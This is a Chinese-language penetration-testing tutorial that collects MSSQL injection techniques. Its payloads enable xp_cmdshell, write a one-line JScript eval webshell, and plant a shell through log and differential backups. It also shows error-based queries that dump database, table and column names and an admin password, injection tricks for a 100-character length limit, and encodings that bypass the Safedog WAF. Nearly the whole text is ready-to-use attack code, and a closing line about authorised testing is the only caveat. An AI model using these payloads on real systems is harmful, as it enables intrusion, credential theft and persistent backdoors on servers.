干货|mssql注入实战总结之狠快准绕
字数 893 2025-08-05 08:18:57
MSSQL注入实战高级技巧总结
前言
本文总结了MSSQL数据库注入的四种高级实战技巧,包括Getshell方法、快速报错注入、字符长度限制下的注入以及绕过安全狗的方法。这些技巧在实际渗透测试中具有很高的实用价值。
一、Getshell方法总结
1. xp_cmdshell方法
适用条件:
- SA权限
- 目标系统允许执行xp_cmdshell
开启xp_cmdshell步骤:
execute('sp_configure "show advanced options",1')
execute('reconfigure')
execute('sp_configure "xp_cmdshell", 1')
execute('reconfigure')
execute('sp_configure')
execute('xp_cmdshell "whoami"')
或简写为:
exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;exec sp_configure;exec xp_cmdshell 'whoami';
查找网站根路径技巧:
exec xp_cmdshell 'where /r d:\ *.aspx'
写入Webshell注意事项:
- DOS对尖括号<>会报错,需要用^转义
- 推荐使用静态可解析路径(如jpg目录)
写入Webshell示例:
echo ^<^%@ Page Language="Jscript"%^>^<^%eval(Request.Item["y"],"unsafe");%^>^ >d:\xx\xx.aspx
2. 备份Getshell方法
(1) Log备份方法(推荐)
优势:
- 重复性好,多次备份成功率高
- shell体积较小
利用条件:
- 知道绝对路径且可写
- 站库不分离
- 数据库必须被备份过一次
实施步骤:
alter database 库名 set RECOVERY FULL;
create table 数据库名..表名(a image);
insert into 数据库名..表名(a) values(0x一句话木马);
backup database 数据库名 to disk='c:\www\panda.bak';
backup log 数据库名 to disk='c:\www\panda.asp' with init;
(2) 差异备份方法
利用条件:
- 知道绝对路径且可写
- HTTP 500错误不是自定义
- WEB和数据在一块
- 数据库中不能存在%号等特殊字符
- 数据量不能太大
实施步骤:
backup database 库名 to disk='c:\bak.bak';
create table 数据库名..表名(a image);
insert into 数据库名..表名(a) values(0x一句话木马);
backup database 库名 to disk='c:\shell.asp' with differential,format;
注意事项:
- 备份生成的ASP文件可能存在闭合问题
- 对于ASPX文件,备份可能导致多个Page指令报错
二、快速报错注入技巧
基本报错注入方法
') and 1=convert(int,user_name())--+ --查当前数据库用户
1. 查询所有数据库名
') and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))--+
2. 查询指定数据库下的表
') and 1=convert(int,stuff((select quotename(name) from 数据库名.sys.objects where type='U' for xml path('')),1,0,''))--+
3. 查询指定表的字段
') and 1=convert(int,stuff((select quotename(name) from 数据库名.sys.columns where object_id=object_id('表名') for xml path('')),1,0,''))--+
4. 查询指定数据
-- 查username
') and 1=convert(int,stuff((select quotename(USNM) from 表 for xml path('')),1,0,''))--+
-- 查admin的password
') and 1=convert(int,stuff((select quotename(PSWD) from T_USER where USNM='admin' for xml path('')),1,0,''))--+
三、字符长度限制下的注入技巧(100字符限制)
1. 获取表名和列名
' having 1=1-- --得到表名:Users 列:nid
2. 递归获取所有列名
' group by Users.nid having 1=1-- --得到Users.sysuserId
' group by Users.nid,Users.sysuserId having 1=1-- --继续递归
' group by Users.nid,Users.sysuserId,Users.RoleId,Users.RoleType,Users.UserName having 1=1--
3. 查询字段内容
1' and 1=(select top 1 UserName from Users)--
1' and 1=(select top 1 UserPwd from Users)--
4. 递归查询其他账号
1' and 1=(select top 1 UserName from Users where UserName!='test')--
1' and 1=(select top 1 UserPwd from Users where UserName='test1')--
1' and 1=(select top 1 UserPwd from Users where UserName='admin')--
四、绕过安全狗技巧
1. 基础绕过方法
ID=1%1eor%1e1%3ddb_name()%1e-- --获取数据库名
2. Fuzz测试有效Payload
ID=1%20or%201=1-- --可爆出大量敏感信息
总结
- Getshell方法:优先尝试xp_cmdshell,其次考虑备份方法
- 快速报错注入:利用convert和stuff函数组合实现高效数据提取
- 长度限制注入:使用having和group by递归获取信息
- WAF绕过:通过字符替换和Fuzz测试寻找有效Payload
这些技巧在实际渗透测试中需要根据目标环境灵活组合使用,同时要注意遵守法律法规,仅在授权范围内进行测试。